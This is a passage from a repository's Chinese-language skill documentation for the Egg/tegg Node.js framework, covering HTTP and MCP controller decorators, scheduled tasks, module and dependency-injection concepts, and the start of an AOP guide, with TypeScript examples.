| -      | -                   |\n\n### 快速选择指南\n\n**需要从 URL 获取参数（id）** → `@HTTPParam`\n**需要从查询字符串获取参数（category=books）** → `@HTTPQuery`\n**需要从查询字符串获取全部值（tag=tech&tag=dev）** → `@HTTPQueries`\n**需要获取请求体（POST JSON）** → `@HTTPBody`\n**需要获取请求头字段** → `@HTTPHeaders`（注意：使用小写key）\n**需要读取 Cookie** → `@Cookies`\n**需要访问原始请求对象** → `@Request`\n\n---\n\n## HTTP 响应\n\n### JSON 响应（默认）\n\n直接返回对象，框架自动序列化为 JSON：\n\n```typescript\n@HTTPController({ path: '/api' })\nexport class JsonController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/data' })\n  async getData() {\n    return { result: 'hello world' };\n  }\n}\n```\n\n### 自定义响应\n\n```typescript\n@HTTPController({ path: '/api' })\nexport class ResponseController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/custom' })\n  async customResponse(@Context() ctx: EggContext) {\n    ctx.status = 201;\n    ctx.set('X-Custom', 'value');\n    ctx.type = 'json';\n    return { message: 'Created' };\n  }\n}\n```\n\n---\n\n## 服务端渲染（SSR）\n\n```typescript\n@HTTPController({ path: '/' })\nexport class SSRController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/' })\n  async render(@Context() ctx: EggContext) {\n    ctx.type = 'html';\n    return `\n      <!DOCTYPE html>\n      <html>\n        <head><title>Home</title></head>\n        <body><h1>Hello World</h1></body>\n      </html>\n    `;\n  }\n}\n```\n\n---\n\n## 流式响应（Streaming）\n\n```typescript\nimport { Readable } from 'node:stream';\nimport { setTimeout } from 'node:timers/promises';\n\nasync function* generateHtml() {\n  yield '<html><body>';\n  for (let i = 1; i <= 5; i++) {\n    yield `<p>Chunk ${i}</p>`;\n    await setTimeout(1000);\n  }\n  yield '</body></html>';\n}\n\n@HTTPController({ path: '/api' })\nexport class StreamController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/stream' })\n  async streamHtml(@Context() ctx: EggContext) {\n    ctx.type = 'html';\n    return Readable.from(generateHtml());\n  }\n}\n```\n\n---\n\n## 路由优先级管理\n\n### 默认优先级规则\n\n| Path                            | RegExp Index | Priority | 说明             |\n| ------------------------------- | ------------ | -------- | ---------------- |\n| `/*`                            | `[0]`        | 0        | 通配符，最低     |\n| `/hello/:name`                  | `[1]`        | 1000     | 单参数           |\n| `/hello/world/message/:message` | `[3]`        | 3000     | 三参数           |\n| `/hello/:name/message/:message` | `[1, 3]`     | 4000     | 多参数，索引更大 |\n| `/hello/world`                  | `[]`         | 100000   | 静态路径，最高   |\n\n### 手动设置优先级\n\n```typescript\n@HTTPController({ path: '/api' })\nexport class PriorityController {\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/(api|openapi)/version',\n    priority: 100000, // 提升优先级\n  })\n  async high() { }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/(api|openapi)/(.+)',\n  })\n  async low() { }\n}\n```\n\n---\n\n## 参数装饰器详解\n\n### @HTTPParam\n\n**装饰器类型**：参数装饰器（Parameter Decorator）\n\n**使用场景**：从 URL 路径中提取参数\n\n**语法**：`@HTTPParam(param?: HTTPParamParams)`\n\n#### 快速参考\n\n```typescript\n@HTTPController({ path: '/api/users' })\nexport class UserController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: ':userId/posts/:postId' })\n  async getPost(\n    @HTTPParam() userId: string,\n    @HTTPParam() postId: string\n  ) {\n    return { userId, postId };\n  }\n}\n```\n\n#### 使用要点\n\n- 参数类型必须是 `string`\n- 参数名默认和变量名相同\n- 支持正则表达式捕获：`path: '/files/(.*)'`\n- 使用 `{ name: '0' }` 获取正则第一个匹配\n- 支持多参数路径\n\n#### 示例\n\n```typescript\n// 路径参数\n@HTTPController({ path: '/api/users' })\nexport class UserController {\n  // GET /users/:id\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: ':id' })\n  async getUser(@HTTPParam() id: string) {\n    return { userId: id };\n  }\n\n  // GET /users/:userId/posts/:postId\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: ':userId/posts/:postId' })\n  async getPost(@HTTPParam() userId: string, @HTTPParam() postId: string) {\n    return { userId, postId };\n  }\n\n  // 获取正则匹配\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/files/(.*)' })\n  async getFile(@HTTPParam({ name: '0' }) path: string) {\n    return { path };\n  }\n}\n```\n\n---\n\n### @HTTPQuery\n\n**装饰器类型**：参数装饰器（Parameter Decorator）\n\n**使用场景**：从 URL 查询字符串提取参数（`?key=value`）\n\n**语法**：\n\n- `@HTTPQuery(param?: HTTPQueryParams)` - 返回首个匹配的值（`string`）\n- `@HTTPQueries(param?: HTTPQueriesParams)` - 返回全部值的数组（`string[]`）\n\n#### 快速参考\n\n```typescript\n@HTTPController({ path: '/api/search' })\nexport class SearchController {\n  // GET /api/search?category=books\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/' })\n  async searchByCategory(@HTTPQuery() category: string) {\n    return { category };\n  }\n\n  // GET /api/search?tag=tech&tag=dev\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/' })\n  async searchByTags(@HTTPQueries({ name: 'tag' }) tags: string[]) {\n    return { tags };\n  }\n}\n```\n\n#### 使用要点\n\n- `@HTTPQuery`：返回首个匹配的值\n- `@HTTPQueries`：返回全部值的数组\n- 参数名默认与变量名匹配\n- 使用 `{ name: 'key' }` 指定查询参数名\n\n---\n\n### @HTTPBody\n\n**装饰器类型**：参数装饰器（Parameter Decorator）\n\n**使用场景**：从请求体提取数据（POST/PUT 请求的 body）\n\n**语法**：`@HTTPBody()`\n\n**类型**：`object | string | FormData`\n\n#### 快速参考\n\n```typescript\n@HTTPController({ path: '/api/users' })\nexport class UserController {\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/' })\n  async createUser(@HTTPBody() body: { name: string; email: string }) {\n    return { userId: '123', ...body };\n  }\n}\n```\n\n#### Content-Type 解析\n\n| Content-Type                        | 解析结果        |\n| ----------------------------------- | --------------- |\n| `application/json`                  | 对象 `object`   |\n| `text/plain`                        | 字符串 `string` |\n| `application/x-www-form-urlencoded` | 对象 `object`   |\n\n**注意**：其他类型注入空值，需用 `@Request` 手动处理\n\n---\n\n### @HTTPHeaders\n\n**装饰器类型**：参数装饰器（Parameter Decorator）\n\n**使用场景**：获取 HTTP 请求头中的字段\n\n**语法**：`@HTTPHeaders()`\n\n**类型**：`IncomingHttpHeaders`\n\n#### 快速参考\n\n```typescript\n@HTTPController({ path: '/api' })\nexport class HeaderController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/info' })\n  async getInfo(@HTTPHeaders() headers: IncomingHttpHeaders) {\n    const auth = headers['authorization'];\n    const custom = headers['x-custom'];\n    return { auth, custom };\n  }\n}\n```\n\n#### 使用要点\n\n- Headers key 会自动转为小写，取值时使用小写字符\n- 获取单个值：`headers['x-custom']`\n\n---\n\n### @Cookies\n\n**装饰器类型**：参数装饰器（Parameter Decorator）\n\n**使用场景**：从 HTTP Cookie 中读取会话数据\n\n**语法**：`@Cookies()`\n\n**类型**：`HTTPCookies`\n\n#### 快速参考\n\n```typescript\n@HTTPController({ path: '/api' })\nexport class SessionController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/session' })\n  async getSession(@Cookies() cookies: HTTPCookies) {\n    const session = cookies.get('sessionId');\n    return { session };\n  }\n}\n```\n\n#### 使用要点\n\n- 使用 `cookies.get(key)` 读取 Cookie\n- 使用 `{ signed: false }` 读取未签名的 Cookie\n\n---\n\n### @Request\n\n**装饰器类型**：参数装饰器（Parameter Decorator）\n\n**使用场景**：访问完整的 HTTP 请求对象\n\n**语法**：`@Request()`\n\n**类型**：`HTTPRequest`\n\n#### 快速参考\n\n```typescript\n@HTTPController({ path: '/api' })\nexport class RequestController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/debug' })\n  async getDebug(@Request() request: HTTPRequest) {\n    const url = request.url;\n    const method = request.method;\n    const contentType = request.headers.get('content-type');\n    const rawBody = await request.text();\n    return { url, method, contentType, bodyLength: rawBody.length };\n  }\n}\n```\n\n#### 使用要点\n\n- `request.url`：请求 URL\n- `request.method`：请求方法\n- `request.headers`：Headers 对象\n- `request.text()`：读取请求体为文本\n- `request.arrayBuffer()`：读取请求体为 ArrayBuffer\n\n### @Context\n\n**装饰器类型**：参数装饰器（Parameter Decorator）\n\n**使用场景**：访问 Egg 框架的 Context 对象\n\n**语法**：`@Context()`\n\n**类型**：`EggContext`\n\n#### 快速参考\n\n```typescript\n@HTTPController({ path: '/api' })\nexport class DebugController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/debug' })\n  async debug(@Context() ctx: EggContext) {\n    return {\n      app: ctx.app.name,\n      ip: ctx.ip,\n      userAgent: ctx.get('user-agent')\n    };\n  }\n}\n```\n"
  },
  {
    "path": "packages/skills/egg-controller/references/mcp-controller.md",
    "content": "# MCPController 开发指南\n\n## 常见错误\n\n生成 MCPController 代码时，**必须**注意以下易错点：\n\n| 错误写法                         | 正确写法                              | 说明                                     |\n| -------------------------------- | ------------------------------------- | ---------------------------------------- |\n| `from 'egg'`                     | `from '@eggjs/tegg'`                  | 所有 MCP 装饰器和类型来自 `@eggjs/tegg`  |\n| `import z from 'zod'`            | `import { z } from '@eggjs/tegg/zod'` | 框架内置 zod，必须使用具名导入           |\n| `z.object({ name: z.string() })` | `{ name: z.string() }`                | Schema 使用普通对象，不要用 `z.object()` |\n| `args: ToolArgs<MySchema>`       | `args: ToolArgs<typeof MySchema>`     | 类型参数必须用 `typeof`                  |\n| `@MCPController` 不加括号        | `@MCPController()`                    | 装饰器必须带括号调用                     |\n\n---\n\n## 文件约定\n\n### 文件位置与命名\n\nMCPController 放在 module 的 `controller/` 目录下，命名规则为 `{Name}MCPController.ts`：\n\n```\napp/module-name/\n├── controller/\n│   ├── PackageMCPController.ts    ← MCP 控制器\n│   └── PackageHTTPController.ts   ← 同模块可共存 HTTP 控制器\n└── service/\n    └── PackageService.ts\n```\n\n### 插件配置\n\n在 `config/plugin.ts` 中启用：\n\n```typescript\nplugin.mcpProxy = true;\n```\n\n### 路径配置\n\n在 `config/config.default.ts` 中配置 MCP 路径（通常不需要修改，以下为默认值）：\n\n```typescript\nimport { randomUUID } from 'node:crypto';\n\nexport default () => {\n  const config = {\n    mcp: {\n      sseInitPath: '/mcp/sse',\n      sseMessagePath: '/mcp/message',\n      streamPath: '/mcp/stream',\n      statelessStreamPath: '/mcp/stateless/stream',\n      sessionIdGenerator: randomUUID,\n    },\n  };\n  return config;\n};\n```\n\n当使用 `@MCPController({ name: 'myServer' })` 声明命名服务时，路径自动变为：\n\n- `/mcp/myServer/sse`\n- `/mcp/myServer/message`\n- `/mcp/myServer/stream`\n- `/mcp/myServer/stateless/stream`\n\n### AccessLevel\n\n`@MCPController` 装饰器内部已默认设置 AccessLevel（PUBLIC），不需要再手动声明。\n\n---\n\n## 场景决策树\n\n```\n用户需要什么？\n\n├─ \"让 AI 能查数据 / 执行操作\"\n│  └─ → @MCPTool + @Inject Service 处理业务\n│\n├─ \"给 AI 一个提示词模板\"\n│  └─ → @MCPPrompt\n│\n├─ \"让 AI 读取某类资源数据\"\n│  ├─ 资源地址固定 → @MCPResource({ uri: '...' })\n│  └─ 资源地址动态 → @MCPResource({ template: [...] })\n│\n├─ \"Tool 执行中要推送进度\"\n│  └─ → @MCPTool + @Extra() 获取 sendNotification（见下方 @Extra 章节）\n│\n└─ \"Tool 中需要读取自定义请求头\"\n   └─ → @MCPTool + @Extra() 获取 requestInfo.headers\n```\n\n---\n\n## 端到端完整示例\n\n以下展示一个完整的 MCP 功能从配置到测试的所有文件：\n\n### 1. 插件配置 — `config/plugin.ts`\n\n```typescript\nplugin.mcpProxy = true;\n```\n\n### 2. 控制器 — `app/npm/controller/PackageMCPController.ts`\n\n```typescript\nimport {\n  MCPController, MCPTool, MCPToolResponse,\n  MCPPrompt, MCPPromptResponse,\n  MCPResource, MCPResourceResponse,\n  ToolArgs, ToolArgsSchema,\n  PromptArgs, PromptArgsSchema,\n  Inject,\n} from '@eggjs/tegg';\nimport { z } from '@eggjs/tegg/zod';\n\nimport { PackageService } from '../service/PackageService.ts';\n\nconst SearchSchema = {\n  name: z.string({ description: 'npm package name' }),\n};\n\nconst SummarySchema = {\n  name: z.string(),\n};\n\n@MCPController()\nexport class PackageMCPController {\n  @Inject()\n  private readonly packageService: PackageService;\n\n  @MCPTool({ description: 'Search npm package info' })\n  async searchPackage(\n    @ToolArgsSchema(SearchSchema) args: ToolArgs<typeof SearchSchema>,\n  ): Promise<MCPToolResponse> {\n    const pkg = await this.packageService.findByName(args.name);\n    if (!pkg) {\n      return { content: [{ type: 'text', text: `Package ${args.name} not found` }] };\n    }\n    return { content: [{ type: 'text', text: JSON.stringify(pkg) }] };\n  }\n\n  @MCPPrompt({ description: 'Generate package summary' })\n  async summarize(\n    @PromptArgsSchema(SummarySchema) args: PromptArgs<typeof SummarySchema>,\n  ): Promise<MCPPromptResponse> {\n    return {\n      messages: [{\n        role: 'user',\n        content: {\n          type: 'text',\n          text: `Summarize the npm package: ${args.name}`,\n        },\n      }],\n    };\n  }\n\n  @MCPResource({\n    template: ['npm://{name}/{?version}', { list: undefined }],\n  })\n  async getPackageReadme(uri: URL): Promise<MCPResourceResponse> {\n    const name = uri.hostname;\n    const readme = await this.packageService.getReadme(name);\n    return { contents: [{ uri: uri.toString(), text: readme }] };\n  }\n}\n```\n\n### 3. Service — `app/npm/service/PackageService.ts`\n\n```typescript\nimport { SingletonProto } from 'egg';\n\n@SingletonProto()\nexport class PackageService {\n  async findByName(name: string) {\n    // 业务逻辑\n  }\n\n  async getReadme(name: string): Promise<string> {\n    // 业务逻辑\n  }\n}\n```\n\n### 4. 单元测试 — `test/npm/controller/PackageMCPController.test.ts`\n\n```typescript\nimport assert from 'node:assert';\nimport { app } from 'egg-mock/bootstrap';\nimport { Client } from '@modelcontextprotocol/sdk/client/index.js';\n\ndescribe('PackageMCPController', () => {\n  it('should search package via tool', async () => {\n    app.mockCsrf();\n    const client: Client = await app.mcpClient();\n\n    const tools = await client.listTools();\n    assert(tools.tools.some(t => t.name === 'searchPackage'));\n\n    const res = await client.callTool({\n      name: 'searchPackage',\n      arguments: { name: 'egg' },\n    });\n    assert(res.content[0].type === 'text');\n  });\n\n  it('should get prompt', async () => {\n    app.mockCsrf();\n    const client: Client = await app.mcpClient();\n\n    const res = await client.getPrompt({\n      name: 'summarize',\n      arguments: { name: 'egg' },\n    });\n    assert(res.messages.length > 0);\n  });\n\n  it('should read resource', async () => {\n    app.mockCsrf();\n    const client: Client = await app.mcpClient();\n\n    const res = await client.readResource({\n      uri: 'npm://egg?version=4.0.0',\n    });\n    assert(res.contents.length > 0);\n  });\n});\n```\n\n---\n\n## @Extra() 的使用场景\n\n`@Extra()` 装饰器注入 `ToolExtra` 对象，提供两个能力：\n\n### 发送通知（长任务进度推送）\n\n```typescript\n@MCPTool()\nasync longTask(\n  @ToolArgsSchema(Schema) args: ToolArgs<typeof Schema>,\n  @Extra() extra: ToolExtra,\n): Promise<MCPToolResponse> {\n  const { sendNotification } = extra;\n  for (let i = 0; i < 10; i++) {\n    await sendNotification({\n      method: 'notifications/message',\n      params: { level: 'info', data: `Step ${i + 1}/10` },\n    });\n    // ... 执行步骤\n  }\n  return { content: [{ type: 'text', text: 'Done' }] };\n}\n```\n\n### 读取自定义请求头\n\n```typescript\n@MCPTool()\nasync myTool(\n  @ToolArgsSchema(Schema) args: ToolArgs<typeof Schema>,\n  @Extra() extra: ToolExtra,\n): Promise<MCPToolResponse> {\n  const headers = extra.requestInfo?.headers;\n  // 处理自定义 header\n}\n```\n\n---\n\n## 装饰器参考\n\n| 装饰器                | 用途         | 常用参数                                   | 返回类型              |\n| --------------------- | ------------ | ------------------------------------------ | --------------------- |\n| `@MCPController()`    | 声明控制器   | `{ name?: string }`                        | -                     |\n| `@MCPTool()`          | 声明工具     | `{ name?: string, description?: string }`  | `MCPToolResponse`     |\n| `@MCPPrompt()`        | 声明提示词   | `{ name?: string, description?: string }`  | `MCPPromptResponse`   |\n| `@MCPResource()`      | 声明资源     | `{ uri: string }` 或 `{ template: [...] }` | `MCPResourceResponse` |\n| `@ToolArgsSchema()`   | Tool 参数    | Zod Schema 普通对象                        | -                     |\n| `@PromptArgsSchema()` | Prompt 参数  | Zod Schema 普通对象                        | -                     |\n| `@Extra()`            | 额外上下文   | -                                          | `ToolExtra`           |\n| `@Inject()`           | 注入 Service | -                                          | -                     |\n\n**注意**：`@MCPController` 的 `version`、`timeout` 等参数通常不需要配置。\n"
  },
  {
    "path": "packages/skills/egg-controller/references/schedule.md",
    "content": "# 定时任务开发指南\n\n## 注意事项\n\n- **不要将代码放在 `app/schedule` 目录下**，egg 默认会扫描该路径注册定时任务，会和装饰器方式冲突\n- 定时任务类必须包含一个 `subscribe` 方法，框架调度时会调用该方法\n- import 路径是 `egg/schedule`，不是 `egg`\n\n## Step 1: 创建定时任务\n\n使用 `@Schedule` 装饰器标识一个类为定时任务，支持 interval 和 cron 两种调度模式。\n\n### interval 模式\n\n按固定间隔执行。`interval` 支持毫秒数或 [ms](https://github.com/vercel/ms) 格式字符串（如 `'5s'`、`'1m'`）。\n\n```typescript\n// app/{moduleName}/schedule/Demo.ts\nimport { Inject, Logger } from 'egg';\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<IntervalParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    interval: '5s',\n  },\n})\nexport class DemoScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n\n### cron 模式\n\n按 cron 表达式执行，格式参考 [cron-parser](https://github.com/harrisiirak/cron-parser)：\n\n```text\n*    *    *    *    *    *\n┬    ┬    ┬    ┬    ┬    ┬\n│    │    │    │    │    └ day of week (0 - 7) (0 or 7 is Sun)\n│    │    │    │    └───── month (1 - 12)\n│    │    │    └────────── day of month (1 - 31)\n│    │    └─────────────── hour (0 - 23)\n│    └──────────────────── minute (0 - 59)\n└───────────────────────── second (0 - 59, optional)\n```\n\n```typescript\n// app/{moduleName}/schedule/CronDemo.ts\nimport { Inject, Logger } from 'egg';\nimport { CronParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<CronParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    cron: '0 0 3 * * *', // 每日 3 点执行\n  },\n})\nexport class CronScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n\n## Step 2: 选择工作模式\n\n| 模式                  | 说明                                     | 使用场景                             |\n| --------------------- | ---------------------------------------- | ------------------------------------ |\n| `ScheduleType.WORKER` | 每台机器只有一个 worker 执行（随机选择） | 大多数场景，如数据同步、缓存刷新     |\n| `ScheduleType.ALL`    | 每台机器的所有 worker 都执行             | 需要每个 worker 都更新本地状态的场景 |\n\n## Step 3: 配置运行参数\n\n`@Schedule` 装饰器支持第二个参数，控制定时任务的运行行为：\n\n```typescript\n@Schedule<IntervalParams>(\n  {\n    type: ScheduleType.WORKER,\n    scheduleData: {\n      interval: '1m',\n    },\n  },\n  {\n    immediate: true,            // 应用启动后立即执行一次\n    // disable: true,           // 禁用该定时任务\n    env: ['devserver', 'test'], // 仅在指定环境下启动\n  },\n)\nexport class MyScheduler {\n  async subscribe() {\n    // ...\n  }\n}\n```\n\n| 参数        | 类型     | 说明                            |\n| ----------- | -------- | ------------------------------- |\n| `immediate` | boolean  | 应用启动并 ready 后立即执行一次 |\n| `disable`   | boolean  | 设为 true 时不启动该定时任务    |\n| `env`       | string[] | 仅在指定环境下启动              |\n"
  },
  {
    "path": "packages/skills/egg-core/SKILL.md",
    "content": "---\nname: egg-core\ndescription: 本技能用于处理 EGG 基础核心概念，包括模块架构、@SingletonProto、@ContextProto、@Inject 装饰器、动态注入、BackgroundTaskHelper 后台任务、EventBus 事件总线和 AOP 切面编程。用于理解 EGG 的基础构建块、依赖注入、对象生命周期管理、运行时多实现动态选择、请求返回后的异步任务处理、事件驱动架构和横切关注点。\nallowed-tools: Read\n---\n\n# egg 核心概念\n\n## 代码组织与依赖注入\n\n### Step 1: 代码写在 module 中\n\n#### 什么是模块？\n\n模块是 EGG 中基础的代码组织单元。只有模块内的代码会被框架扫描和加载。模块之间相互独立，但可以通过 `@Inject` 装饰器访问其他模块的对象。\n\n#### 定义 module\n\n在目录中添加包含 `eggModule.name` 字段的 `package.json` 文件来声明该目录为模块：\n\n```json\n{\n  \"name\": \"foo\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n```\n\n**重要提示**：模块名称不能包含 `-` 或其他特殊字符；使用驼峰命名规则。\n\n#### 正确示例\n\n```\napp/\n└── userModule/           ✅ 驼峰命名\n    ├── package.json\n    │   └── { \"eggModule\": { \"name\": \"userModule\" } }\n    └── service.ts        ✅ 会被框架加载\n```\n\n#### 错误示例\n\n```\napp/\n├── user-module/          ❌ 名称包含 `-`\n│   └── package.json\n│       └── { \"eggModule\": { \"name\": \"user-module\" } }\n│\n└── common/               ❌ 缺少 package.json（不是 module）\n    └── utils.ts          ❌ 不会被框架加载\n```\n\n#### 模块配置\n\n在模块根目录创建 `module.yml` 用于模块特定配置：\n\n```yaml\nfoo: bar\n```\n\n通过 `@Inject()` 注入配置，使用 `moduleConfig`：\n\n```typescript\nimport { SingletonProto, Inject } from 'egg';\n\ninterface ModuleConfig {\n  foo: string;\n}\n\n@SingletonProto()\nexport class ConfigService {\n  @Inject()\n  private readonly moduleConfig: ModuleConfig;\n\n  async hello(): Promise<string> {\n    return `hello ${this.moduleConfig.foo}`;\n  }\n}\n```\n\n#### 模块组织最佳实践\n\n- 新应用：按功能在 `app/` 目录中组织\n- 存量应用：保留老的 egg 代码在 `app/controller`/`app/service`，将新增的 module 代码放在 `app/module/`\n- 可以在 `dependencies` 中导入 npm 包作为额外模块\n\n### 导入路径\n\n所有装饰器和类型统一从 `egg` 导入，不要从 `@eggjs/tegg` 导入：\n\n```typescript\n// ✅ 正确\nimport { SingletonProto, ContextProto, Inject, AccessLevel } from 'egg';\n\n// ❌ 错误 — 不要从 @eggjs/tegg 导入\nimport { SingletonProto } from '@eggjs/tegg';\n```\n\n---\n\n### Step 2: 用 Proto 实现 Service\n\n#### SingletonProto\n\n应用启动时立即创建，整个应用生命周期内只有一个实例，性能更好，应该作为默认选择。\n\n```typescript\nimport { SingletonProto } from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello';\n  }\n}\n```\n\n#### ContextProto\n\n请求到达时按需创建，每个请求一个实例，请求结束自动销毁。仅在需要隔离不同请求的上下文信息时使用。\n\n```typescript\nimport { ContextProto } from 'egg';\n\n@ContextProto()\nexport class RequestContext {\n  userId: string;\n}\n```\n\n**重要提示**：大多数服务应该使用 `SingletonProto` 以获得更好的性能。只有当请求上下文必须在服务之间共享以确保请求之间隔离时，才使用 `ContextProto`。\n\n#### AccessLevel\n\nproto 对象默认 accessLevel 为 `AccessLevel.PRIVATE`，仅在当前 module 内使用。可以设置为 `AccessLevel.PUBLIC`，进行跨模块访问。\n\n```typescript\nimport { AccessLevel, ContextProto, SingletonProto } from 'egg';\n\n@SingletonProto({ accessLevel: AccessLevel.PUBLIC })\nexport class SharedService {}\n\n@ContextProto({ accessLevel: AccessLevel.PUBLIC })\nexport class SharedContextService {}\n```\n\n### Step 3: 通过 Inject 使用 Service\n\n#### 基本用法\n\n使用 `@Inject()` 注入其他 Proto 或 Egg 对象：\n\n```typescript\nimport { Inject, Logger, SingletonProto } from 'egg';\nimport { FooService } from './FooService.ts';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  fooService: FooService;  // 注入另一个 Proto\n\n  @Inject()\n  logger: Logger;  // 注入 Egg 对象\n\n  async hello(): Promise<string> {\n    this.logger.info(`[HelloService] ${this.fooService.hello()}`);\n  }\n}\n```\n\n#### 动态注入\n\n当同一个抽象有多种实现，需要在运行时动态选择时，通过 `EggObjectFactory` 按类型获取实现，无需 if/else。详见 `references/dynamic-inject.md`。\n\n#### 重要约束\n\n- **不能有循环依赖**：Proto 或模块之间都不能有循环依赖\n- **不能有同名对象**：一个模块不能有相同名称和初始化类型的 Proto\n- **按需注入**：不要直接注入 `app` 或 `ctx`，按需注入特定对象\n\n### 快速决策指南\n\n| 场景                             | 使用方式                                               |\n| -------------------------------- | ------------------------------------------------------ |\n| 无状态服务                       | `@SingletonProto()`                                    |\n| 跨服务共享的请求级状态           | `@ContextProto()`                                      |\n| 需要跨模块访问                   | `@SingletonProto({ accessLevel: AccessLevel.PUBLIC })` |\n| 注入依赖                         | `@Inject()`                                            |\n| 使用自定义名称注入               | `@Inject({ name: 'customName' })`                      |\n| 同一抽象多种实现，运行时动态选择 | `QualifierImplDecoratorUtil` + `EggObjectFactory`      |\n\n## 异步任务\n\n| 特性       | BackgroundTaskHelper          | EventBus                                  |\n| ---------- | ----------------------------- | ----------------------------------------- |\n| **耦合**   | 高 — 异步逻辑写在触发者代码中 | 低 — handler 独立，新增处理者不修改触发者 |\n| **上下文** | 共享触发者的请求上下文        | handler 运行在独立的新上下文中            |\n| **扩展**   | 需要修改触发者代码            | 新增 `@Event` handler 类即可              |\n\n```\n需要在请求之外执行任务？\n│\n├─ 请求返回后执行，依赖当前请求上下文\n│  └─ → BackgroundTaskHelper（references/background-task.md）\n│\n├─ 请求返回后执行，不依赖当前请求上下文，需要解耦\n│  └─ → EventBus（references/eventbus.md）\n│\n└─ 定时或周期执行\n   └─ → Schedule（参考 egg-controller skill）\n```\n\n## AOP 切面编程\n\nAOP 用于将日志、鉴权、缓存、事务等横切关注点从业务代码中分离。AOP 装饰器从 `egg/aop` 导入（不是 `egg`）。\n\n```\n需要在方法执行前后添加通用逻辑？\n│\n├─ 针对特定方法 → @Pointcut（在目标方法上声明）\n│\n└─ 批量切入多个类/方法 → @Crosscut（在 Advice 类上声明匹配规则）\n```\n\n详细用法（Advice 生命周期、AdviceContext、Pointcut/Crosscut 选型、参数透传、执行顺序）请参阅 `references/aop.md`。\n\n## 常见问题排查\n\n| 现象                   | 原因                                       | 解决方案                                     |\n| ---------------------- | ------------------------------------------ | -------------------------------------------- |\n| 模块没被加载           | `eggModule.name` 包含 `-` 等特殊字符       | 改为驼峰命名                                 |\n| `EggPrototypeNotFound` | 跨模块注入但 accessLevel 为 PRIVATE        | 改为 `AccessLevel.PUBLIC`                    |\n| 注入对象不对           | 类型为 `interface`/`any`，回退到属性名匹配 | 改用 class 类型或 `@Inject({ name: 'xxx' })` |\n| 混用注入方式报错       | 属性注入和构造函数注入不能混用             | 统一使用一种方式                             |\n| 可选依赖启动报错       | 缺少 optional 标记                         | `@Inject({ optional: true })`                |\n\n## 参考资料\n\n- 详细的 module 文档，请参阅：`references/module.md`\n- Inject 装饰器使用，请参阅：`references/inject.md`\n- SingletonProto 和 ContextProto 详情，请参阅：`references/proto.md`\n- 动态注入（Qualifier 动态注入），请参阅：`references/dynamic-inject.md`\n- 请求后异步任务（BackgroundTaskHelper），请参阅：`references/background-task.md`\n- 事件总线（EventBus），请参阅：`references/eventbus.md`\n- AOP 切面编程（Advice、Pointcut、Crosscut），请参阅：`references/aop.md`\n"
  },
  {
    "path": "packages/skills/egg-core/references/aop.md",
    "content": "# AOP 切面编程指南\n\n## 常见错误\n\n| 错误写法                                   | 正确写法                              | 说明                                                                                   |\n| ------------------------------------------ | ------------------------------------- | -------------------------------------------------------------------------------------- |\n| `import { Advice } from 'egg'`             | `import { Advice } from 'egg/aop'`    | AOP 装饰器从 `egg/aop` 导入，不是 `egg`                                                |\n| `import { Advice } from '@eggjs/tegg/aop'` | `import { Advice } from 'egg/aop'`    | 统一从 `egg/aop` 导入                                                                  |\n| Advice 类没有加 `@Advice()` 装饰器         | 必须同时有 `@Advice()`                | `@Pointcut` 和 `@Crosscut` 都要求目标是 Advice 类                                      |\n| `@Crosscut` 直接切 Egg 内置对象            | 只能切 tegg Proto 对象                | Egg 中的对象（如 app、ctx）无法被 Crosscut                                             |\n| Advice 中用实例属性存状态                  | 使用 `ctx.set()`/`ctx.get()` 共享状态 | Advice 默认是 Singleton，实例属性会被并发请求共享，必须用 AdviceContext 传递调用级状态 |\n\n---\n\n## 核心概念\n\n### Advice（切面逻辑）\n\nAdvice 是 AOP 的核心，定义了在目标方法执行前后要做什么。Advice 本身也是一种 Proto，默认 initType 为 Singleton（全局单例），可以使用 `@Inject` 注入依赖。如需每请求一个实例，显式指定 `@Advice({ initType: ObjectInitType.CONTEXT })`。\n\n```typescript\nimport { Advice, IAdvice, AdviceContext } from 'egg/aop';\nimport { Inject, Logger } from 'egg';\n\n@Advice()\nexport class LogAdvice implements IAdvice {\n  @Inject()\n  private logger: Logger;\n\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    ctx.set('startTime', Date.now());\n  }\n\n  async afterReturn(ctx: AdviceContext, result: any): Promise<void> {\n    // 方法成功返回后执行\n  }\n\n  async afterThrow(ctx: AdviceContext, error: Error): Promise<void> {\n    // 方法抛出异常后执行\n  }\n\n  async afterFinally(ctx: AdviceContext): Promise<void> {\n    const duration = Date.now() - ctx.get('startTime');\n    this.logger.info('%s cost %dms', String(ctx.method), duration);\n  }\n\n  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {\n    // 类似 koa 中间件，可以包裹方法执行\n    return await next();\n  }\n}\n```\n\n**执行顺序：**\n\n```typescript\nawait beforeCall(ctx);\ntry {\n  const result = await around(ctx, next);  // next 